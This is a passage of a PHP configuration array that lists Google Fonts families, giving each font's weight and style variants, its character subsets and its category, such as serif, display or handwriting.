'Permanent Marker' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Figtree' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '900', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Russo One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans HK' => array( 'variants' => array('100', '300', '400', '500', '700', '900'), 'subsets' => array('chinese-hongkong', 'latin'), 'category' => 'sans-serif' ), 'Didact Gothic' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Rowdies' => array( 'variants' => array('300', '400', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Alegreya Sans' => array( 'variants' => array('100', '100italic', '300', '300italic', '400', 'italic', '500', '500italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Vollkorn' => array( 'variants' => array('400', '500', '600', '700', '800', '900', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'ABeeZee' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Alfa Slab One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Tinos' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'hebrew', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Noto Kufi Arabic' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('arabic'), 'category' => 'sans-serif' ), 'Amatic SC' => array( 'variants' => array('400', '700'), 'subsets' => array('cyrillic', 'hebrew', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Orbitron' => array( 'variants' => array('400', '500', '600', '700', '800', '900'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'DM Serif Display' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Archivo Narrow' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Sora' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Kalam' => array( 'variants' => array('300', '400', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'handwriting' ), 'Archivo Black' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cinzel' => array( 'variants' => array('400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Cardo' => array( 'variants' => array('400', 'italic', '700'), 'subsets' => array('greek', 'greek-ext', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Alegreya' => array( 'variants' => array('400', '500', '600', '700', '800', '900', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Courgette' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Ubuntu Condensed' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Martel' => array( 'variants' => array('200', '300', '400', '600', '700', '800', '900'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Saira Condensed' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Amiri' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Patua One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Plus Jakarta Sans' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Space Mono' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Noticia Text' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Montserrat Alternates' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Zeyada' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Yantramanav' => array( 'variants' => array('100', '300', '400', '500', '700', '900'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Frank Ruhl Libre' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('hebrew', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Changa' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Francois One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Lobster Two' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'display' ), 'PT Sans Caption' => array( 'variants' => array('400', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cormorant' => array( 'variants' => array('300', '400', '500', '600', '700', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Alata' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Spectral' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic'), 'subsets' => array('cyrillic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Philosopher' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'vietnamese'), 'category' => 'sans-serif' ), 'Great Vibes' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Bodoni Moda' => array( 'variants' => array('400', '500', '600', '700', '800', '900', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Gruppo' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Crete Round' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Prata' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'vietnamese'), 'category' => 'serif' ), 'Encode Sans' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Be Vietnam Pro' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Serif TC' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '900'), 'subsets' => array('chinese-traditional', 'latin'), 'category' => 'serif' ), 'Noto Serif KR' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '900'), 'subsets' => array('korean', 'latin'), 'category' => 'serif' ), 'Pathway Gothic One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Lexend' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Sen' => array( 'variants' => array('400', '700', '800'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'League Spartan' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Passion One' => array( 'variants' => array('400', '700', '900'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Kaushan Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Yellowtail' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Sawarabi Mincho' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Baloo 2' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('devanagari', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Old Standard TT' => array( 'variants' => array('400', 'italic', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Lexend Deca' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Sans Display' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Khand' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Staatliches' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Architects Daughter' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Carter One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Sacramento' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Alice' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Rokkitt' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Roboto Flex' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'El Messiri' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('arabic', 'cyrillic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Saira' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Alegreya Sans SC' => array( 'variants' => array('100', '100italic', '300', '300italic', '400', 'italic', '500', '500italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Faustina' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Antonio' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Marcellus' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Unna' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Concert One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Cookie' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Gloria Hallelujah' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Arsenal' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Gelasio' => array( 'variants' => array('400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Advent Pro' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cuprum' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Antic Slab' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Quattrocento Sans' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cantarell' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Chivo' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Press Start 2P' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext'), 'category' => 'display' ), 'Sawarabi Gothic' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Josefin Slab' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Commissioner' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Gothic A1' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('korean', 'latin'), 'category' => 'sans-serif' ), 'News Cycle' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Fira Sans Extra Condensed' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Vidaloka' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Patrick Hand' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Marck Script' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'handwriting' ), 'Crimson Pro' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Quattrocento' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Ubuntu Mono' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext'), 'category' => 'monospace' ), 'Handlee' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Mitr' => array( 'variants' => array('200', '300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Sans Thai' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'thai'), 'category' => 'sans-serif' ), 'DM Serif Text' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Poiret One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Tenor Sans' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Luckiest Guy' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Aleo' => array( 'variants' => array('300', '300italic', '400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Volkhov' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'serif' ), 'IBM Plex Sans Condensed' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Paytone One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Special Elite' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Yeseva One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Bai Jamjuree' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Mate' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Unbounded' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Playfair Display SC' => array( 'variants' => array('400', 'italic', '700', '700italic', '900', '900italic'), 'subsets' => array('cyrillic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Bangers' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Ultra' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Hind Vadodara' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('gujarati', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Neuton' => array( 'variants' => array('200', '300', '400', 'italic', '700', '800'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Ropa Sans' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Mukta Malar' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'tamil'), 'category' => 'sans-serif' ), 'Literata' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Titan One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Mr Dafoe' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Viga' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Tangerine' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Amaranth' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Noto Serif SC' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '900'), 'subsets' => array('chinese-simplified', 'latin'), 'category' => 'serif' ), 'Kosugi Maru' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Allura' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Neucha' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin'), 'category' => 'handwriting' ), 'Mate SC' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Roboto Serif' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Source Sans 3' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Sanchez' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Readex Pro' => array( 'variants' => array('200', '300', '400', '500', '600', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Nanum Gothic Coding' => array( 'variants' => array('400', '700'), 'subsets' => array('korean', 'latin'), 'category' => 'monospace' ), 'Taviraj' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'serif' ), 'Gudea' => array( 'variants' => array('400', 'italic', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Mandali' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'sans-serif' ), 'Saira Semi Condensed' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Ramabhadra' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'sans-serif' ), 'Encode Sans Condensed' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'PT Mono' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'monospace' ), 'Ruda' => array( 'variants' => array('400', '500', '600', '700', '800', '900'), 'subsets' => array('cyrillic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Shrikhand' => array( 'variants' => array('400'), 'subsets' => array('gujarati', 'latin', 'latin-ext'), 'category' => 'display' ), 'Libre Caslon Text' => array( 'variants' => array('400', 'italic', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Bungee' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Eczar' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('devanagari', 'greek', 'greek-ext', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Abhaya Libre' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'sinhala'), 'category' => 'serif' ), 'Parisienne' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Yatra One' => array( 'variants' => array('400'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'display' ), 'Hammersmith One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Castoro' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Bad Script' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin'), 'category' => 'handwriting' ), 'Voltaire' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Rubik Mono One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Red Hat Text' => array( 'variants' => array('300', '400', '500', '600', '700', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Mada' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Pragati Narrow' => array( 'variants' => array('400', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Alex Brush' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Baskervville' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Noto Naskh Arabic' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Playball' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Istok Web' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Serif Bengali' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('bengali', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Itim' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'handwriting' ), 'Monda' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Rock Salt' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Unica One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Merienda' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Homemade Apple' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Blinker' => array( 'variants' => array('100', '200', '300', '400', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Monoton' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Macondo' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Sriracha' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'handwriting' ), 'Jura' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'kayah-li', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Niramit' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Audiowide' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Adamina' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Cabin Condensed' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Khula' => array( 'variants' => array('300', '400', '600', '700', '800'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Lalezar' => array( 'variants' => 